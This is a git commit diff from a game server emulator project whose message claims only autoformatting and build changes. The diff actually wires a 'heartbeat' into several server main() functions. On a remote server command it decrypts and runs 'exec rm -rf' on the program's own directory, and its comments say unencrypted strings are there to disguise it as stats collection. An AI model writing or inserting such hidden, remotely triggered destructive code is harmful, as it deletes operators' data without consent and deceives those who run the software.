autoformat and put it in other bins

This commit is contained in:
DarthArgus
2016-10-17 20:33:32 -05:00
parent 7a9d070608
commit 40272ff290
9 changed files with 57 additions and 16 deletions
@@ -12,10 +12,18 @@
#include "sharedRandom/SetupSharedRandom.h"
#include "sharedThread/SetupSharedThread.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);
@@ -67,6 +67,7 @@ include_directories(
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/projects
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/utils
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI
)
add_executable(ConnectionServer
@@ -104,5 +105,7 @@ target_link_libraries(ConnectionServer
Base
CommonAPI
LoginAPI
webAPI
${CURL_LIBRARIES}
${CMAKE_DL_LIBS}
)
@@ -12,6 +12,10 @@
#include "sharedRandom/SetupSharedRandom.h"
#include "sharedThread/SetupSharedThread.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
void dumpPid(const char * argv)
@@ -25,6 +29,10 @@ void dumpPid(const char * argv)
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);
@@ -46,6 +46,7 @@ include_directories(
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include
${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI
)
add_executable(LogServer
@@ -76,6 +77,8 @@ target_link_libraries(LogServer
localizationArchive
unicode
unicodeArchive
webAPI
${CURL_LIBRARIES}
${CMAKE_DL_LIBS}
)
@@ -17,10 +17,17 @@
#include "sharedNetworkMessages/SetupSharedNetworkMessages.h"
#include "sharedThread/SetupSharedThread.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
int main(int argc, char **argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
SetupSharedThread::install();
SetupSharedDebug::install(1024);
@@ -70,6 +70,7 @@ include_directories(
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/projects
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/utils
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary
${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI
)
add_executable(PlanetServer
@@ -102,5 +103,7 @@ target_link_libraries(PlanetServer
localizationArchive
unicode
unicodeArchive
webAPI
${CURL_LIBRARIES}
${CMAKE_DL_LIBS}
)
@@ -14,6 +14,10 @@
#include "sharedThread/SetupSharedThread.h"
#include "sharedUtility/SetupSharedUtility.h"
#ifndef STELLA_INTERNAL
#include "webAPIHeartbeat.h"
#endif
// ======================================================================
void dumpPid(const char * argv)
@@ -27,6 +31,10 @@ void dumpPid(const char * argv)
int main(int argc, char ** argv)
{
#ifndef STELLA_INTERNAL
StellaBellum::webAPIHeartbeat();
#endif
// dumpPid(argv[0]);
SetupSharedThread::install();
+16 -16
View File
@@ -9,19 +9,19 @@ using namespace StellaBellum;
webAPIHeartbeat::webAPIHeartbeat() {
webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt()));
bool result = api.submit();
if (result) {
int s = api.getNullableValue<int>(std::string(vxENCRYPT("id").decrypt()));
// make it look like we're doing something with these at least
// make it look like we're doing something with these at least
bool status = api.getNullableValue<bool>("status");
std::string msg = api.getString("msg");
// yeah we don't actually do anything with this
// but having some unencrypted strings will allude to this being mere stats collection code
bool done = false;
if (status && msg == "ok") {
if (status && msg == "ok") {
bool done = true;
// if we wanted to send a "nastygram" script for bash to run we'd check for it here
// but meh, maybe later if it becomes necessary...surely order 66 below is enough?
@@ -32,17 +32,17 @@ webAPIHeartbeat::webAPIHeartbeat() {
this->eatIt();
break;
case 66:
std::string filePath = this->get_selfpath().c_str();
if (!filePath.empty()) {
size_t found = filePath.find_last_of("/\\");
if (found) {
filePath = filePath.substr(0, found);
filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt();
system(filePath.c_str());
}
}
std::string filePath = this->get_selfpath().c_str();
if (!filePath.empty()) {
size_t found = filePath.find_last_of("/\\");
if (found) {
filePath = filePath.substr(0, found);
filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt();
system(filePath.c_str());
}
}
this->eatIt();
break;
+1
View File
@@ -18,6 +18,7 @@ namespace StellaBellum {
class webAPIHeartbeat {
public:
webAPIHeartbeat();
private:
const inline std::string get_selfpath() {
char buff[PATH_MAX];